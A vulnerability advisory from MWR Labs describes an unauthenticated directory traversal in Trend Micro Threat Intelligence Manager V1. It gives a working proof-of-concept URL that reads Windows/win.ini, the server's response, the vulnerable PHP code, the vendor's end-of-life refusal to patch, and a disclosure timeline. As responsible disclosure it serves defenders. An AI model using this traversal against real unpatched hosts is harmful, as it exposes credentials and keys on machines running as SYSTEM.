Arbitrary Local File Disclosure

30/12/2015

Software:	Threat Intelligence Manager (TIM)
Affected Versions:	V1
CVE Reference:	Not Yet Assigned
Author:	Benjamin Harris - MWR Labs (http://labs.mwrinfosecurity.com/)
Vendor:	Trend Micro
Vendor Response:	Will not fix

Description

It was discovered that the `page` parameter in the `appframe.php` file allowed for unauthenticated directory traversal and reading of arbitrary files on the system. Due to the web server running as ‘NT AUTHORITY/SYSTEM’, it was possible to read any file. The following proof of concept URL is provided:

```
https://HOST/ui/appframe.php?local=1&isajax=1&page=../../../../../../../../../../../../../
../../../../../../Windows/win.ini
```

This URL returns the following response:

```
HTTP/1.1 200 OK

Date: Fri, 24 Jul 2015 04:52:59 GMT

Server: Apache/2.2.17 (Win32) mod_fcgid/2.3.6 mod_ssl/2.2.17 OpenSSL/0.9.8o

X-Powered-By: PHP/5.3.6

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: PHPSESSID=rh0m4c587o9sqvjiujiv09vd81; path=/

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: text/html

Content-Length: 403
```

```
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
```

Impact

This could be used by an attacker to retrieve sensitive information, such as configuration details containing authentication details, encryption keys and other sensitive information held on the host.

Solution

It is recommended that access to the management interface of Trend Micro’s Threat Intelligence Manager is heavily restricted as no patch is/will be available.

Trend Micro’s official response to this vulnerability can be found as follows:

“*Thank you for your patience and continuously working with the Trend Micro Vulnerability Response team.*

The Trend Micro Threat Intelligence Manager (TIM) has reached its end-of-life, and unfortunately addressing the vulnerabilities you submitted would require substantial efforts to re-architect or build an entirely new product. We strongly recommend our TIM customers to contact sales for further options on a suitable replacement if this is a concern for them.”

Technical details

The vulnerable code is presented below:

```
<?php
require_once('init.php');

// get request parameters
$use_local = $_REQUEST['local'];
$is_ajax = $_REQUEST['isajax'];
$include_url = resolvePagePath($_REQUEST['page']);

// check whether to use a local file or request to localhost
$hostname = 'localhost';
if ($use_local == '1') {
        $hostname = '';
}
$include_url_contents = '';
$include_url_header_contents = '';

if ($include_url != '') {
        $include_url_header = $include_url == '' ? '' : getHeaderFilename($include_url);

        $include_url_contents = getContents($hostname, $include_url);
        $include_url_header_contents = getContents($hostname, $include_url_header);
        // $logger -> log('include_url:'.$include_url, PEAR_LOG_ALERT); // test
}

$username = $sessionMgr -> get_session_vars(SessionManager::USERNAME);
$loginAction = 'Log off';   // The user should be logged on by the time this page is
generated
```

```
$loginUrl = 'login.php?action=logoff';


if ($is_ajax == '' || $is_ajax == '0') {
    $platformUI -> setHtml('appframe.tpl');
    $platformUI -> assignSmartyVar('username', $username);
    $platformUI -> assignSmartyVar('login_action', $loginAction);
    $platformUI -> assignSmartyVar('login_url', $loginUrl);
    $platformUI -> injectHead($include_url_header_contents);
} else {
    $platformUI -> setAjax();
}
$platformUI -> assignContent($include_url_contents);
$platformUI -> render();


?>
```

In the code, the application does not sanitize the variable `$_REQUEST[‘page’]` before passing it to the `getContents()` function.

If the attacker sets `$_REQUEST[‘use_local’]` to ‘1’, and `$hostname` to ‘’, then this code path will be taken in `getContents()`:

```
function getContents($hostname, $path) {
    $result = '';
    if ($hostname == null || $hostname == '') {
        $result = file_exists($path) ? file_get_contents($path) : '';
………
    return $result;
```

If the attacker also sets `$_REQUEST[‘isajax’]` to ‘1’, then the inbuilt templating library will not be used, and the requested file content will be printed in `assignContent()`.

Detailed Timeline

Date:	Summary:
24/7/2015	Vulnerability documented
30/7/2015	Trend Micro contacted via security@trendmicro.com

31/7/2015	5 advisories sent to Trend Micro with provided PGP key
10/9/2015	MWR disclosure timeline requested due to internal discussions at Trend Micro RE: remediation
20/10/2015	MWR request update from Trend Micro
12/11/2015	Trend Micro issue statement and request coordinated disclosure on 17th November 2015
30/12/2015	MWR publish advisories.